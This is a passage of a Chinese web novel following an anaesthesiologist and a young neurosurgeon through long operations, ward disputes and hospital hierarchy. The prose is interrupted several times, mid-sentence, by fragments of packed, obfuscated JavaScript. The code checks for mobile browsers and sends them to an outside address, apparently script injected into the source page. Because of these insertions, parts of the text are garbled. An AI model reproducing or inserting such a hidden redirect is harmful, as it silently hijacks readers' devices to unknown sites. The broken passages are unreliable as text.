谢宜年说:“家里人也觉得泪痣不好,高考后本来想带我点掉,不过我觉得都是封建迷信的说法,而且太靠近眼睛了,所以我就没点。” 说到封建迷信,宗夏槐想起谢宜年的微信名:谢无殊,再看看谢宜年胸前口袋的饭卡,饭卡套壳上是“夜班之神”。 看来唯物主义已经是高考之前的事情了。 胃里有了热食,人也放松下来,谢宜年对宗夏槐充满了好奇心,他一连问了好几个问题: “宗老师,你博士在哪里读的?” “你怎么申请到的?” “……” 宗夏槐觉得他是个帅哥,但有些聒噪。 不过到底人吃饱了心情好,宗夏槐耐心地回答了他。 谢宜年说话说得更起劲了。 谢宜年坐她对面,主动收拾餐后垃圾,宗夏槐有了充足的时间仔细打量他,何况他这时候摘了口罩帽子,不像在手术间只露出一双眼睛,宗夏槐不得不承认他有副好皮囊。 她能够想象得到护士说,谢宜年刚进手术室的时候,一波又一波的小姑娘来看他。长这样一张脸,确实很有说服力。 宗夏槐看着他那颗泪痣:“谢老师,关于泪痣,我倒是听人说,长泪痣的男生比较恋爱脑,真的吗?” 是一句调侃的话。 大家刚吃过饭,气氛放松。 谢宜年一愣,很认真地回答:“不知道,还没谈过。” 6. 第 6 章 自打上临床以来,谢宜年总是被人调侃相貌,他还记得第一回正式进手术室,上台的那种,不是来送个标本干跑腿的杂活,许多人来看他,到后头,巡回护士笑得直不起腰,说:“今天得来了有十几波人了吧?” 他不喜欢被人关心他的感情状况,他想要成为一名优秀的神经外外科医生,只想沉下心来学习。 不过没人在意他的想法,他资历太轻,他师兄四十多岁还在临床上熬着呢,他一个临床新人能得罪谁啊? 而且外科练的是手上功夫,要在临床上实打实地“练”,问题来了,新手速度都慢,同一个手术间的护士和麻醉都想早点下班,他缝得慢了,人家当然不高兴。 有的人只是脸上不高兴,但有的人会直接说:“哎,黄朝,等会儿你不会留给小谢吧?他一个人不行的,索性你一个人搞完,别耽误我们下班。” 所以在手术室当“小弟”,要会做人,嘴放甜一点,请大家喝奶茶,技术菜,脾气要好。 可谢宜年并不是没有自己的脾气,他不喜欢别人调侃他的脸和感情状况,虽然目前他的脾气也仅限于默默生气。 他说自己没谈过的时候,他看见对面的女医生明显是有些诧异的,他以为她会像其他人一样问两句,他都准备好要回答什么了。 宗夏槐说:“那你挺危险了。” 这下轮到谢宜年提问:“为什么?” 宗夏槐收回视线,她总不好说,谢宜年脸上写了“人傻好骗”四个字,像这种在学校里读了许多年书没谈过恋爱的人,开窍开得比别人晚,到了工作的时候才碰上初恋,总是容易更伤心一些。 他们交情不深,再说下去就不合适了。 “谢医生,早点休息。” 谢宜年看着她站起来,往休息室走,等到她的背影消失在转角处,才觉出一些些郁闷出来。 他才不是什么恋爱脑,他十分理智。 谢宜年从小就有个认床的坏毛病,不过后面上了临床,被迫常住医院,勉强治好了这个毛病,但是睡不踏实。 今夜也是一样,他做了一宿光怪陆离的梦,梦见主任骂他,梦见自己辛辛苦苦造的动物模型失败,梦见自己投的文章被拒,梦见自己开刀的病人在台上没心跳了…… 最后一幕太真实了,谢宜年吓醒了。 他还记得梦里,麻醉医生的怒声:“你碰到哪里了?快停下!” 如果在脑干附近操作,容易造成呼吸心跳骤停,所以手术医生也会提前和麻醉打好招呼:“到脑干附近了,你注意一下。” 一有不对劲,麻醉就会出声提醒外科停下。 噩梦的后遗症让谢宜年的心脏砰砰跳,手表提示他此时压力过高,闹钟随之响起,他要赶去病房参加查房。 今天是他们组大查房,查完房还得再来手术室,他们组今天有刀,还是大刀。 往外走的时候,谢宜年路过麻醉办公室,他只是很随意地往那个方向瞥了一眼,一眼就瞧见她。 她穿着红色的洗手衣,头发披散开来,一边和身旁的同事说话,一边剥鸡蛋,她手指纤长,动作十分优雅好看。 洗手衣宽松,女医生常用胶布粘住领口,但是宗夏槐刚起床,衣领口松散,谢宜年飞快地挪开了视线。 他什么也没看见。 谢宜年也不知道麻醉科的人正在声讨他们。 宗夏槐一起床就被拉进了这场“批斗大会”。 同事情真意切地痛骂:“一帮王八蛋,天天有开不完的刀!知道自己做不完也不少排一点,只想着每天找房间拆台,不见得手术费分我们多少!” 不怪同事怨气这样重,昨天傍晚刚发了上个月的绩效,钱少,事还多,麻醉科的老大脸色一个比一个差,下面小的就更不用说了。 宗夏槐随意附和两句:“是挺混蛋的。”想到今天注定做到超时的刀,宗夏槐也带了几分真情实感。 “你今天在几号?”同事问。 “19号。”宗夏槐说:“两台内镜一台开颅。” 同事还想再问,宗夏槐一口气说完:“蝶骨嵴,片子我昨晚就看过了,瘤子不小,三台全做肯定超时,病人状况一塌糊涂。” 同事叹气:“有可能停掉吗?” 宗夏槐说:“请过心内、麻醉科会诊了。”意思就是外科铁了心要做,为防止他们找理由停刀,该做的检查,该请的会诊都有。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048654|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >同事说:“祝你好运。” 同事想了半天,安慰说:“他们家嘛,不是有个小帅哥……”至少和帅哥一起干活养眼。 宗夏槐知道她说的是谁,虽说昨晚才和谢宜年一起吃过夜宵,宗夏槐也没留情面:“他动作太慢,还是算了,我宁可黄朝赶紧关完让我下班。” 同事会意,打趣道:“你好狠的心,人家毕竟年轻,技术总要练出来的嘛,你要是当着别人的面说,人家就该伤心了。” 宗夏槐不傻,这些吐槽的话就是私底下说说,她倒也不是对谢宜年有什么意见,只是就事论事。 宗夏槐说:“工作是工作。” 七点半麻醉科开早会,宗夏槐开完会正好去准备麻醉物品。 病人的资料她提前一天就看过了,这是她的习惯。 病人八点钟入室,宗夏槐给他连上监护,一切准备工作就绪后坐在旁边等外科来。 护士说:“他们家今天大查房,至少要十点才会来,要不先麻吧,早点开始,也好早点结束。” 宗夏槐说:“三方核查,他们不来人,我怎么麻?” 她语气淡淡:“今天房间结束迟,是他们排得多做得慢,我麻醉能花多长时间?” 护士说:“也是。”于是打电话催:“你们什么时候来啊?至少派一个人过来,要不然麻醉怎么搞?” 三方核查,是规矩,是制度。 但是有时候也执行得不彻底,碰上好说话的麻醉医生,便先麻了,等外科过来。 没多久,谢宜年匆匆过来,他当时正在病房被主任拷问,听说麻醉要外科到场,如释重负,一溜烟跑了,留下其他师兄面对主任的疾风暴雨。 “宗老师?”他见到宗夏槐,十分意外,又有些开心。 宗夏槐心情一般。 谢宜年为她们带来一个小瓜:“病人家属在病房录音,被杨主任发现了……” 护士急问:“然后呢然后呢?” 谢宜年说:“杨主任十分生气,让病人出院,不愿意开他的刀了。” 宗夏槐插了一句:“那么我们今天少掉一台?” 谢宜年说:“哦,那倒不是,那是明天的病人。” 7. 第 7 章 护士问:“那你们明天开几台?” 巡回护士有固定的房间,她明天仍在这里,常年做杨组的手术。 谢宜年说:“本来排了3台,现在应该是2台。” 护士无语:“老杨最近怎么回事?疯了吧?” 宗夏槐提醒他们:“病人还醒着。” 回头一看,病人快要从手术床上坐起来,双目炯炯有神,一脸八卦的模样。 护士赶紧把他按下去:“不要乱动,小心掉下去。”她快去回忆,确认自己没说什么“不该说”的话,重新变得底气十足。 核对完病人身份信息后,宗夏槐开始上麻醉,和往常一样,她今天的上级让她自己搞定。 一般来说,房间里有两个麻醉,一个推药,另一个扣面罩,但是宗夏槐一个人也能干完这个活。 她用四头带固定氧气面罩,给病人预吸氧,这个过程叫做“给氧去氮”,是为了让病人有充分的氧储备。 在插好管连上麻醉机打机器之前,病人有一段时间没有呼吸,所以麻醉前的预吸氧非常重要,充分的“预吸氧”可以帮麻醉医生争取更多的插管时间,也能减少缺氧对病人的损伤。 “帮我计个时。”宗夏槐快速地推了药,等病人自主呼吸消失后,用手托住了病人的下颌,使面罩紧紧扣在病人的口唇上。 谢宜年以为她在和自己说话,却不知道该干什么,坐在手术室控制屏旁边的护士已经熟练地点开电子面板,开始计时。 护士往病人的方向看了一眼,“已经倒了,可以导尿了,是个男病人。” 时间长的手术都要给病人插导尿管,手术室有个心照不宣的规定:男病人外科来,女病人护士来。 谢宜年去柜子里拿导尿包,一转头的空,宗夏槐已经插好管,在用胶布固定了。在这个过程中,他们本该没有什么交流,手术室里每个人都有自己的职责,麻醉医生负责麻醉插管以及保证病人术中生命体征平稳,手术医生负责开刀切除病灶,大家不需要过多的交流,只需要做好自己的部分。 麻醉医生在大多数时候都是手术间的“透明人”,他们也不爱说话。 是谢宜年没话找话,主动和宗夏槐说话:“宗老师,你刚才计时是为什么?” 他之前也在手术开始前,看见房间里的麻醉医生让护士帮忙计时,但从没问过。 宗夏槐说:“在等肌松药起效我插管。”这个时间通常在一分半到两分钟。 神经外科手术常规监测动脉血压及需要术中血气,对于病情较轻的病人,宗夏槐习惯麻醉后再穿动脉,毕竟穿动脉是个很疼的事情。 宗夏槐下手很准,一针见血,动脉位置在深处,肉眼是看不见的,只能用手摸到搏动的地方,最好一击即中,否则动脉容易痉挛,更进不去了。相比较而言,桡动脉比足背动脉更粗搏动更明显,也更容易置管,但是神经外科在头端操作,有时又需要翻体位,侧卧或者俯卧位,所以优先足背动脉置管。 实在不行才穿桡动脉,再再不行就肱动脉。 宗夏槐退了针,放一根软管进病人的动脉血管里,留在外面的部分接动脉血压换能器,这样麻醉监测屏幕上就会显示一个实时动脉血压,可以更直观地看到病人的血压变化,比老式定时袖带血压更加灵敏。 宗夏槐还可以从这根管子里抽动脉血,进行术中血气分析,手术时间一长,血糖乳酸容易高,电解质容易紊乱……这些会影响术后恢复。 一位优秀的麻醉医生,绝不只是让病人活着进来活着出去以及术中不要醒不要动这么基本的要求。 手术做完了,病人送去ICU了,ICU打来电话,说病人血糖26,k+2.8,人是醒了管也拔了,但吐得死去活来,一直叫痛……这些都是麻醉医生术中管理的失职。 “宗老师,胶带。”谢宜年自觉地帮她撕胶带,他由衷地赞美她:“宗老师的动脉打得真好。”这夸奖是真心实意的,他以前在ICU和急诊轮转的时候,也扎血气,深知这是一项技术活。 不过ICU和急诊的病人都重,有时候遇到那种休克的病人,只能扎股动脉,股动脉在大腿内侧,长得非常粗壮,摸到差不多位置,一针扎下去。 护士笑着说:“你小子也拍起马屁来了!我和你说,你们今天要搞这么迟,什么马屁都不管用,手上动作快点,让我们麻醉老师快点下班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宗夏槐也不知道自己会开口,她说:“杨主任,我们快点开始吧,你们第三台那么大,不抓抓紧明天要被护士长罚了……” 8. 第 8 章 杨主任脾气大,组里的医生都怕他,不过杨主任开了一辈子的刀,如今快退休了,手上的技术也是真的好。 看在这一点上,有点脾气就有点脾气吧,哪个教授没有脾气呢! 就是神经外科公认脾气最好的姜教授,那在手术间也是发过火的,一贯温柔的人发了火,那一整天手术间都噤若寒蝉。 不过这些都和宗夏槐没什么关系,外科教授发火,和底下人发火,和台上的器械护士发火,很少冲着麻醉去。 老教授们深知麻醉的重要性,对麻醉医生都十分客气。 再说杨主任脾气虽大,但是来得快去得也快,他就事论事,并不记仇,下了手术台其实是个很有意思的小老头。 护士们私下叫他老杨、杨老头、杨师傅,有一回被他听见了,他也不生气,笑呵呵的,非常和蔼。 杨主任收起了怒火,注意到这位年轻的麻醉女医生,和她打招呼:“今天辛苦你了,第三台我们要做电生理,等会儿帮我们麻深一点,谢谢哈。” 杨主任出去洗手准备上台了,谢宜年飞快地看了一眼宗夏槐,她的目光并没有落过来,而是在面前的仪器上。 杨主任进来,护士帮他穿衣服,顺便打探“情报”:“杨主任,你们今天真打算开三台啊?这不得超时了?明天准备休息?” 杨主任对护士的态度也好,笑着说:“超不了超不了,第三台是个小瘤子,肯定在十点半前结束!” 护士和宗夏槐都沉默,她们提前看过片子,那瘤子一点都不小,位置又深。 不过主任这么说,也没人反驳他,倒是他自己“心虚”了,说:“这样,我们前两台快一点,第三台早点开始,让黄朝来。” 主任的话,也只能听听了。 护士和宗夏槐对了个心照不宣的眼神:呵呵。 真等到第三台的时候,天都黑了,黄朝才不想来呢,肯定扔给谢宜年,对于主任来说,反正他开完关键步骤就下班了,黄朝还是谢宜年他无所谓的。 护士打定主意要盯紧黄朝,绝不能让他提前溜走。 主任上台后没多久,谢宜年就下台了,这台手术也不需要太多人,最多再来一个人帮忙扶镜子,而且今天有进修医生上台。 谢宜年也没立刻离开,他蹭了护士的电脑开医嘱,病房给他打电话,让他去处理一下闹事的病人家属。 谢宜年挂了电话,头痛地往外走,作为一名外科医生,他的工作不是只有开刀,确切来说,开刀只占很小的部分。 对谢宜年来说,现在大部分手术,他也只能开个场、收个尾,再核心的部分,主任不会放手给他做。神经外科培养周期长,大约到了四十多岁,他才勉强能“独当一面”。 当然,也有佼佼者。可是这里是海城最著名的医院,佼佼者太多,谢宜年在学校里是天之骄子,到了临床,还是重新来过。 中间的时间,谢宜年就是去干杂活了,有门诊的时候看门诊,没门诊的时候处理病房的事情,他现在倒是不用再写病史了,那是规培和实习的活,不过手术记录他还是要写。 中间可以休息的时候,他就抓紧时间去值班室躺一觉,谁知道今天的手术会到多晚,老大可以提前走,他一定是陪到最后的。 谢宜年赶到病房的时候才发现是ICU的病人家属闹事,又跑去楼上NICU(神经外科监护室),闹事的是一个做过手术的病人家属,这个病人是肺癌脑转移,切过肺,术前肺功能极差,主任本来不想开,谈话时谈的很重,家属坚持,主任还是做了。 神经外科病人术后常规躺ICU,大部分人躺一两天,目的也是观察,怕有术后出血等意外。本身情况重的病人就不好说了,住上半年甚至更久的都有。 这个病人开完刀人是醒了,脑子很清醒,但是一直脱不了呼吸机,打着呼吸机,氧饱和度也只能维持在八十几,这种情况哪能出ICU? 家属就来闹事了,术前谈的好好的,术后就翻脸,这事也不是一回两回了。但是这次家属直接报警了,警察也很无奈,一面安抚家属,一面和医院沟通……于是谢宜年莫名其妙地站在了医务处里头。 他面无表情地心想,这都是杨师傅心软惹的祸,临床大忌是心软,他一定引以为戒,不该救的病人别救。 谢宜年浪费了大半天的时间和家属掰扯,中途又接了几个病房和NICU的电话,最后家属也没得到他们想要的结果,虽然谢宜年也不知道他们到底想要什么结果。 手术室打来电话:“第三个病人接进来了,你来开颅吗?” 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宗夏槐看见他脖子上的伤口,是家属的抓痕,看来确实是个凶悍的海城老太太。 这次是宗夏槐主动开口的,她说:“那天急诊病人后来又复查了梅毒抗原,我看过报告了,是阴性。” 梅毒感染者,终身抗体阳性,所以抗体阳性不一定是携带梅毒,但抗原阳性就错不了。 谢宜年上好头架,闻声抬头,他蹲在那里,看着她,有片刻愣怔。 9. 第 9 章 谢宜年都快忘了这件事,不过这并不表示他心里没有忧惧,他第一回遇到这种事,也会七想八想,要是不幸感染,他这辈子就完了。 好吧,也不至于到“完了”那一步,但是对于他的职业、婚恋绝对是致命性打击。 虽然打了阻断针,但是梅毒的潜伏期长达九十天,谢宜年需要在九十天后复测阴性,才算“彻底安全”。 好在谢宜年不算个特别多思的人,否则寝食难安是少不了,他甚至可以说得上心大,差点忘了第二针的事情。 根据性病门诊的老师评估,谢宜年这算低风险暴露,只需要间隔7-10天打两针就行。像那种高风险暴露,要连续打两周,每天一针。 当时谢宜年听到这里的时候,坐在凳子上的腿想跑。 那青霉素针实在是太太太太疼了。 如今宗夏槐告诉他那病人抗原阴性,说明病人并不在传染期,而且谢宜年并没有和病人的血有直接接触……综上,谢宜年的第二针可以不用打了。 于是宗夏槐看见谢宜年的眼睛像星星一样亮起来:“太好了!” 她很快就知道了原因,谢宜年藏不住事,话没断过:“本来下周要去打第二针的,现在可以少挨一针了。” 台上洗手好奇,问了来龙去脉,赞同道:“青霉素针确实很疼,之前我妈心内膜炎,也要用青霉素,我陪我妈去做皮试……” 洗手话一转:“哎,对了,那梅毒针现在是打手臂还是屁股针?” 谢宜年一下红了耳朵,当没听见。 宗夏槐的视线在他身上转了两圈,谢宜年僵得不敢动。 time out(手术开始)后没多久,黄朝的电话打来了,问现在是什么进度,巡回说:“刚划皮。” 黄朝惊讶:“这么快?我等会儿就来。”这开场他是要来的,第三场本来开得就晚,又是台大刀,大刀么,杨主任肯定要上的,不能让杨主任等太久,主任开完关键步骤就回家休息了,不会待到最后。 没多久,黄朝匆匆到了,他睡眼惺忪,一看就是从值班室来的,他赞叹了一番今天翻台子的效率。 台上洗手护士白他一眼:“谁叫你们家今天排这么多,还把这么一台大的放第三个?刚才第二台结束的时候角1进来问,知道还有第三台,脸都黑了。” 护士有角班,角班是负责接班和值班的,举个例子:当整个手术间只剩下三个房间没结束的时候,角3可以下班;那么角1就要等到所有房间结束外加当天值班。这里说的角班主要是接巡回,台上洗手护士是没有人接班的。 巡回插了一句,她是今天的角3,“今天角1是史老师,你们自求多福吧。”史老师年资高,脾气差,除了对几个外科教授有好脸色,对其余人都是冷冷的,经常把新来的护士骂哭。 洗手暗戳戳地催他:“黄教授,今天我们麻醉老师晚饭都没吃,就上来给你们麻人了,一分钟都没耽误,要是你们超时……” 黄朝立即说:“不会超时!我今天全程在。”他看了一眼时间:“现在是五点钟,暴露一个小时,关颅半个小时,中间挖一挖再止止血,三个小时差不多,我们十点结束!好吧?” 这时间估算得实在有水分,但对方已经表明了自己会全力以赴的态度,洗手哼哼两声,放过了他。 黄朝上来之后,整个手术的进度像坐上火箭一般,谢宜年和他之间,确实有很大的差距,他们差着将近二十年的临床经验。 黄朝也毫不吝啬地将自己的经验倾囊相授,直到谢宜年搞破了一根小动脉血管。这在开颅过程中,也是难免的事情,外科医生对于一台手术的出血量总有一个估计在,像有的人为了追求速度,并不在乎在开颅的时候稍出一些血,所以快的人开颅二十分钟。 黄朝手疾眼快,迅速夹住了那根破裂的血管,同时出声提醒:“麻醉医生,我们在出血,你注意一下出血量。”如果出血太多,就要去和血库拿血。 黄朝说:“这个人年纪大了,该拿血就早点拿吧。” 人年纪大了,血管脆性增加,也容易出血。吸引器皮条呲呲作响,黄朝花了一点时间止血。 “不要紧,我在这你怕什么,不要慌。”黄朝说:“这根动脉藏在下面,就算是我来,也一样要破的,既然已经破掉了,就要第一时间止血……” 恰好麻醉科今日的总值班来巡视房间,她站在宗夏槐这边了解了一下病人的基本情况,说的话和黄朝差不多:“出血太多就拿血,老年人了,血压不要太低,就现在这样差不多,要是外科喊脑压高就再降一降……” 总值班问了一下手术预估时间,拍了拍宗夏槐的肩膀:“辛苦你了,你在这里我是放心的,有什么事叫我,哦,对了,写我接班。” 宗夏槐算是副麻,她头上还有一位主麻,不过大部分时候是宗夏槐在负责手术,她搞不定的才会呼叫主麻。到了下午四五点钟,主麻下班,总值班接剩下所有房间,成为剩下房间的主麻。 总值班注意到台上正在进行一场“教学”,唏嘘道:“黄朝,你如今也在带新人了。” 总值班和黄朝是同一批进医院,也是老熟人了,仿佛昨日还是下面小的,今日已经是能独当一面的夜班老大了。 黄朝和总值班打招呼:“今天给孟老师添麻烦了。”这就是麻醉科和神经外科的不同,他们同一批进医院,孟老师已经当上了主麻、总值班(也叫夜班老大),他还在听主任训,老大离他实在十万八千里。 总值班和宗夏槐笑着说:“当初韦良才也是这么教黄朝的。” 宗夏槐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048657|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不认识韦良才是谁,后来总值班走了,巡回无聊和她唠八卦,说是一个被杨主任骂走的主治。 巡回刚才还话少,聊起八卦来双眼放光:“杨主任骂人是真的一点不给人面子,那天早上不知道发生了什么事,杨主任把韦良才骂得可凶,就当着一屋子麻醉、巡回还有进修的面,一点脸都不给韦良才留的,你说韦良才也干到主治了,放别的医院……” 巡回顿了顿,略过去:“总之第二天韦良才就辞职了。” 还没等宗夏槐发表些什么“感想”,杨主任到了,于是她们及时打住。 杨主任一来就发火,责问是谁搞破了动脉,出了这么多血,杨主任是很在乎出血量的外科教授。 主动站出来的谢宜年被劈头盖脸一顿痛骂,无外乎他是怎么做事的,怎么毕业的,好好一个高材生被主任骂成了一个干什么都不行的废物。 实在是令人同情。 主任骂累了,问宗夏槐血色素现在是多少。 宗夏槐说:“10g,也有血液稀释的原因。”下一秒她似乎知道主任要说什么,淡淡的:“已经拿血了,血库说没浆,给400血。” 主任的怒气这才小下来,客气道:“等会儿血到了就帮我们立刻输上吧。” 主任上台,谢宜年下台,挖瘤子暂时没他什么事,他下去吃饭了,他今天为着处理医闹的事情,中饭还没吃。 中午的外卖已经凉了,谢宜年刚被骂过,心情一般,拿去微波炉微微热了一下,就打开来吃了,外面是热的,里面透心凉。 谢宜年的心情十分糟糕。 在读博时,被老板骂就是家常便饭,上了临床后,挨骂只多不少,却从来没有像今天这样令人难过。 谢宜年眨了一下眼睛,眼泪差点滚出来。 不过到底没有。 有人来了。 谢宜年与她打招呼:“宗医生。”他已经完全收拾好自己的心情,这是一个外科医生的必修素质。 “上面的进度怎么样了?” 宗夏槐摇摇头,意思是进度一般,主任心情不好。她注意到谢宜年在吃中午的外卖,问:“你中饭还没吃?” “这不是处理医闹去了?”谢宜年故作轻松。 宗夏槐看出他心情不好,但她实在不擅长于安慰别人,顿了有一会儿才干巴巴地说:“以后会好的。” 不过是一句场面话,谢宜年却抬起头,眼巴巴地盯着她:“真的?” 宗夏槐有些骑虎难下了,但还是说:“真的。” “我不信。” 宗夏槐:“……”爱信不信。 宗夏槐今日难得发善心,说:“是呀,你看你八年制出身,又是神经外科这种全院都捧着的科室,等过几年,升上去,就有钱有地位了。” 10. 第 10 章 宗夏槐从他的眼睛看到了茫然。 都说眼睛是窗户,宗夏槐看到了一双还未浸染世故的眼睛,她忽觉自己说得不好,或许对方并不求钱财地位,她那样说多少有些功利了。 她也能看得出来,谢宜年的家世应当不错,否则养不出这样一双眼睛。 学医是很苦的,五年临床本科,三年硕士研究生,四年及以上的博士研究生,博士毕业后有的要先做博士后,然后规培专培,刚开始工作钱不多,人却已经三十多岁,更不好意思开口向家里要钱,宗夏槐知道不少人的日子都过得紧巴巴的。 在郊区租个一两千的单间,早上赶一个多小时的通勤到医院,晚上太迟了就住医院,还能省水电费,这是单身的过法。要是结了婚,多半靠另一半救济。 在这种情形中,整个人的生气慢慢被耗尽,眼睛里是数不尽的疲惫。 但是谢宜年的眼睛里没有这些东西,仔细看,只有一些委屈和不服气。 这场景似曾相识,也有一个人曾对宗夏槐说:“师妹啊,看得出来,你家里条件应该不错,你呀,还是太单纯了。” 专硕三年,国外三年,宗夏槐再回过头来看,许多事情清晰了然。她经历了一些事情,也成长了。 想来,当年师兄看她,也和她看谢宜年差不多吧。 当年的她,现在的谢宜年,都是这样一眼看到底,还带着学生的稚气。 宗夏槐不像师兄那样“好为人师”,人教人教不会,事教人一教就会。 宗夏槐改口说:“哦,我的意思是说,假以时日,你也能成为像杨主任那样技艺精湛的外科医生。” 不料谢宜年挠挠脑袋,不好意思地说:“我离杨主任还是太远了,将来……给我多发点钱也不错……” 宗夏槐没想到他这么“接地气”,看他那张脸,倒是十分不食人间烟火。 谢宜年小声说:“将来找女朋友,谈恋爱结婚,总没有让女孩子出钱的道理。” 宗夏槐吃惊地看他一眼,夸他好觉悟,一时间竟起了做红娘的心,说会帮他介绍。 谢宜年连忙婉拒,又说不着急了,说自己现在时间忙,没钱没时间,不好耽误人家姑娘。 宗夏槐被他搞得一头雾水,再抬头看一眼,心说有这张脸在,多的是女人不在乎他的物质条件。 宗夏槐是被夜班老大放下来休息的,不过时间不多,夜班老大顾着所有房间,她最多下来喝口水上个厕所就要上去了。 谢宜年倒不急着上去,等到手术快结束的时候,自然会有人打电话叫他上去收尾,他也不想那么早上去被主任逮到,到时候又是一顿拷打,他索性钻到手术室值班室去躺了一觉。 一觉醒来,被主任骂的郁闷一扫而空,谢宜年神清气爽地爬起来,他打开手机,想问问宗夏槐现在的进度,才发现并没人家的微信。 今天得把微信加上。 谢宜年发消息给巡回,巡回很快回他:【你上来吧,老杨走了。】 谢宜年带好口罩帽子,往手术间去了,他没急着进去,先在门口往里张望,确认主任不在里面,才踩脚控开关走进去。 宗夏槐正倚在麻醉机上瞌睡,她早上六点起床,七点到医院参加早会,七点半进手术室查房,除却吃饭喝水的时间,她几乎没有休息,现在是晚上十点,人已经困倦到极致。 但是她耳朵是醒着的,麻醉医生对声音十分敏感,监护仪的声音听上去杂乱无章,但是麻醉医生可以听出任何一个微小的变化,她们的耳朵甚至比眼睛更灵敏。 谢宜年进来的时候,宗夏槐就坐直了身体,电生理已经结束,她加了肌松,改全凭静脉为静吸复合,病人的生命体征和血气都平稳,她这才稍稍松了神。 麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048658|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醉医生总是看上去“无所事事”,在外人看来不过是打一针和玩手机的角色,只有内行人才知道,麻醉医生多有神经衰弱和睡眠的问题,这是因为她们长期高度精神紧张所致。 尤其神外常做电生理测试,不能用肌松药和七氟烷,只能用丙泊酚和□□走全凭静脉的麻醉,更容易发生术中体动和术中知晓,做神外麻醉的麻醉医生需要更加集中注意力。 宗夏槐坐在手术室的顶灯下面,光打在她脸上,谢宜年只觉得她脸色异常苍白,忍不住关心了一句:“宗医生,你没事吧?”他想起刚才护士说她急着来上麻醉,没吃晚饭,心里有些愧疚。 巡回也说:“呀,小夏,你脸色好差!” 现在手术间只剩下19号一间没结束,巡回也由角1史老师接班。 宗夏槐揉了揉额角:“没事。”刚才有中班来接她,宗夏槐拒绝了,说手术也快结束了,干脆她自己做完,过十一点她还有一天补休。 只是最近人手紧张,这个补休不一定能第二天兑现,大概率是先存着。 史老师一直盯着他们,黄朝到底没跑掉,赶在十点半前结束了手术,谢宜年也没帮上什么忙,留在最后做个CT。 这个病人他们备了呼吸机,毕竟病人岁数大了,又进行了这样一场大手术,因此宗夏槐也没醒病人醒呼吸,直接过床,带上氧气瓶监护仪三件套去扫了个术后ct,确认无新发出血后和谢宜年一起把病人送去了神经外科监护室。 麻醉结束是23:30,宗夏槐去住院总电脑上记了个补休和超时费,才来得及看第二天的排班。 最近的人手是真不够用,如她所料,住院总没给她第二天的休息,不过排了个早结束的房间,能看得出来确实尽力了。 实验室脱产的博士也被叫回来两个干活,宗夏槐在其中一个名字上顿了好久,一时竟牵动了心绪。 11. 第 11 章 宗夏槐是临床出身,学的并不是麻醉,考研来了麻醉,她是专硕,又叫四证合一(毕业证、学位证、规培证、医师证),三年几乎都要呆在临床上干活,和本院住院医生没什么差别。 但是临床实习并不去麻醉科,所以比起那些麻醉本科的学生来说,刚来的宗夏槐什么也不会,她连麻醉机自检都不会,第一天就挨训了: “你怎么连机器自检都不会?你怎么毕业的?你怎么考过来的?” 带教骂了半天,才发现她不是麻醉学毕业的学生,一整天唉声叹气,第二天就找住院总换了个学生,明里暗里说自己上一天班就够累了,分个学生给自己连打下手都不会。 宗夏槐有名义上的导师,也就是麻醉科的梁主任,可是主任不上临床,当然不可能手把手带宗夏槐。更何况她是专硕,专硕和导师之间的联系实在有限,而且梁主任快退休了,实验室的学硕还会问两句,对她几乎是放养。 麻醉科的带教多是高年资住院医或者低年资主治,对这些人来说,她们才不稀罕每个月几百块的带教费,指望这个学生能干活,把自己从房间里解放出来更实在,所以就造成了没人愿意带宗夏槐的局面。 宗夏槐要强,自己记笔记,能多学一点就多学一点,那会儿有个师兄不藏私,手把手地带她……就这样,宗夏槐慢慢适应了麻醉科的工作。 师兄叫徐同和,比她大一届,也是专硕,师兄家里条件一般,常住医院,常帮人值班赚点值班费,他能力实在没话说,那时才二年级,已经全院跑急插管的活了。总而言之,是个令人放心的值班搭子。 宗夏槐回医院后,一直没见到他,因着过去的事情,她也没有主动开口问,今天才知道原来他去实验室脱产读博了。 敲门声打断她的思绪,一个漂亮的脑袋探进来:“宗老师——” “嗯?”宗夏槐抬头,她拿下了口罩,唇色很淡。 